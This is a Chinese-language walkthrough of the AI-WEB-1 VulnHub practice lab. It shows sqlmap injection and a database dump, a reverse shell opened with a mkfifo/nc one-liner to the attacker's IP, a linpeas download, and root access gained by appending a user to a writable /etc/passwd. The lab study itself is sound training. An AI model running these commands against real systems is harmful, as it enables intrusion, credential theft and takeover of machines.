AI-WEB-1 vulnhub靶场

AI-WEB-1

端口扫描

仅开放80端口

访问80端口

啥也没有

目录扫描

查看robots.txt

发现两个新目录

Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

全都无权限访问

加入路径后再次扫描目录

发现/m3diNf0/目录下存在info.php，/se3reTdir777/目录下存在index.php

info.php是php配置文件，字太多暂时放一放

index.php有输入框，输入数字可查看用户信息，顺理成章想到sql注入

输入``时发现报错，直接上sqlmap

bp截获数据包，写入1.txt

sqlmap -r 1.txt -p uid

发现注入点

最后发现两个表user和systemUser
user表没用

sqlmap -r 1.txt -p uid -D aiweb1 -T systemUser -C username,password --dump

systemUser表内有password

看上去像base64，最后只有aiweb1pwn解出来了

MyEvilPass_f908sdaf9_sadfasf0sa

本来想ssh，才想起来没开放22端口

暂时没想到这个密码有什么用，先放一放

直接使用sqlmap开一个终端

sqlmap -r 1.txt -p uid --

os-shell需要一个写入目录，未知，回头看info.php

发现网站本地目录为/home/www/html/web1x443290o2sdf92213

os-shell需要一个上传文件的地方，于是刚好有/se3reTdir777/uploads/

连起来就是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

直接反弹shell没成功，写入蚁剑反弹脚本

在攻击机上开启http服务

os-shell远程下载反弹shell脚本

蚁剑连接成功

蚁剑反弹shell

bash -i 没成功

改用nc -e /bin/bash 192.168.181.129 1234

发现不能使用-e参数

搜索后发现可以通过创建管道绕过-e参数

rm /tmp/f

mkfifo /tmp/f

 cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.181.129 1234 >/tmp/f

cat /tmp/f读取管道里的内容；/bin/sh -i 2>&1以交互方式运行/bin/sh，并将标准错误重定向到标准输出；nc ip port > /tmp/f连接 ip:port
并将输出重定向到/tmp/f。

这条命令的逻辑是这样的：cat /tmp/f等待并从命名管道中获取命令，然后将获取到的命令通过匿名管道发送到/bin/sh执行，然后/bin/sh将返回的结果再通过匿名管道发送给nc，nc则将命令的结果发送到
ip:port ，如果 ip:port 再次输入的命令，那么这个命令被nc接收后会被重定向到/tmp/f。

记得事先在攻击机开启监听

nc -lvnp 1234

查看用户目录，发现aiweb1，和刚刚数据库里查出来的用户吻合

su aiweb1

可惜没成功

上传linpeas.sh

curl http://192.168.181.129:8888/linpeas.sh -o linpeas.sh

执行

发现/etc/passwd可以任意写

创建一个用户写入

openssl passwd -1 -salt cccc 123456

echo 'cccc:$1$cccc$86ybZ4sfCXVS9DhweUEVb.:0:0::/root:/bin/bash' >> /etc/passwd

成功提权